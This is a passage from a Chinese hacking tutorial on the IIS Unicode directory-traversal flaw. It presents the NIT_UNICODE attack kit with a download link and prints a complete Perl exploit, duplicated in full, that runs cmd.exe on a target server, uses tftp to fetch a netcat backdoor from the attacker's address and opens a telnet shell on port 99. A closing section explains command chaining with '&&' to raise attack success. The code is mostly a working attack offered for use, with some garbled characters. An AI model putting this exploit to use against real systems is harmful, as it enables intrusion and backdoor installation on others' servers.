exit;
}
}
3、攻击型NIT_UNICODE软件套装
下载地址http://packetstorm.securify.com/0011-exploits/NIT_UNICODE.zip
压缩包里含有以下文档：
uni.pl -------扫描UNICODE编码漏洞的主PERL程式
uniexe.pl -----执行TFTP过程的PERL程式
ncx99.exe -----一个把telnet端口配置在99的netcat木马
tftpd32.exe -----TFTP配置软件
tftpd32.hlp -----帮助文档
flie_id.diz
vendinfo.diz
readme.file -----使用说明和例子
该程式包主要利用unicode编码漏洞，把ncx99.exe上传到目标主机，并启动，使攻击者能够通过telnet 目标主机的99端口，登陆到目标主机上进行攻击行为。
以下程式在使用时需要修改一些东西，找到$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:＼＼inetpub＼＼scripts＼＼nit.exe"; 这句，把xxx.xxx.xxx.xxx.xxx修改为您的IP地址，然后存盘。这句主要是把NCX99.EXE从您的主机改名传到目标主机c:＼inetpub＼scripts＼去。另外还需要根据目标主机的NT版本，对程式里的..蜡..做相应的修改，比如说目标主机是WIN2K就修改为..� ..
#!/usr/bin/perl
# This is for educational purpose's only!
# WHO LET THEM DOGS OUT!
# Use uni.pl first to see if this is a vulnerable server!
# Based of the script unicodeexecute.pl from Roelof Temmngh
# Files=uniexe.pl,uni.pl,readme.file,tftpd32.exe,exploit.readme
use Socket;
if ($#ARGV<0) {die "Usage: uniexe.pl IP:port command＼n";}
($host,$port)=split(/:/,@ARGV[0]);
$target = inet_aton($host);
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n＼cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the .xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:＼＼inetpub＼＼scripts＼＼nit.exe";
$command=~s/ /＼ /g;
@results2=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "＼n
Hit CTRL-C if this is Hanging";
$command=~s/ /＼ /g;
my @results=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems＼n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...＼n"); }
}
# NIT IN THE YEAR 2000
$failed=1;
$command="dir";
@results=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n＼cls");
foreach $line (@results){
if ($line =~ /nit.exe/) {$failed=0;}
}
$failed2=1;
if ($failed==1) {
#You need to change the .xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i .xxx.xxx.xxx GET ncx99.exe c:＼＼inetpub＼＼scripts＼＼nit.exe";
$command=~s/ /＼ /g;
@results2=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n");
foreach $line2 (@results2){
if (($line2 =~ /nit.exe/ )) {$failed2=0;}
}
}
$command=@ARGV[1];
print "＼n
Hit CTRL-C if this is Hanging";
$command=~s/ /＼ /g;
my @results=sendraw("GET /scripts/..蜡../winnt/system32/cmd.exe?/c $command HTTP/1.0＼r＼n＼r＼n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||2) ||
die("Socket problems＼n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...＼n"); }
}
# NIT IN THE YEAR 2000
七．unicode编码漏洞提高篇
并不是说有UNICODE编码漏洞，以下的方法就能完全成功，主要给您一种思考的
方式，做到活学活用,举一反三,繁衍出更多更好的利用方法,提高对目标主机攻
击成功机率,使UNICODE编码漏洞的危害性让管理员们更加重视。
读懂MCD帮助里面的内容尤其是这方面的内容：
请注意，假如字符串有引号，能够接受用命令分隔符 '&&' 隔开
的多个命令。并且，由于兼容原因，/X 和 /E:ON 相同，/Y 和
/E:OFF 相同，并且 /R 和 /C 相同。忽略任何其他命令选项。
假如指定了 /C 或 /K，命令选项后的命令行其余部分将作为命令行处
理；在这种情况下，会使用下列逻辑处理引号字符("):
1. 假如符合下列任何条件，那么在命令行上的引号字符将被
保留:
- 不带 /S 命令选项
- 整整两个引号字符
- 在两个引号字符之间没有特别字符，特别字符为下列中的
一个: <>()@^|
- 在两个引号字符之间有至少一个空白字符
- 在两个引号字符之间有至少一个可执行文档的名称。
2. 否则，老办法是，看第一个字符是否是个引号字符，假如
是，舍去开头的字符并删除命令行上 的最后一个引号字符，
保留最后一个引号字符之后的文字。
再熟悉一下利用ECHO写入法把一些特别字符写到文本文档的转换格式
文章整理：西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息，谢谢!
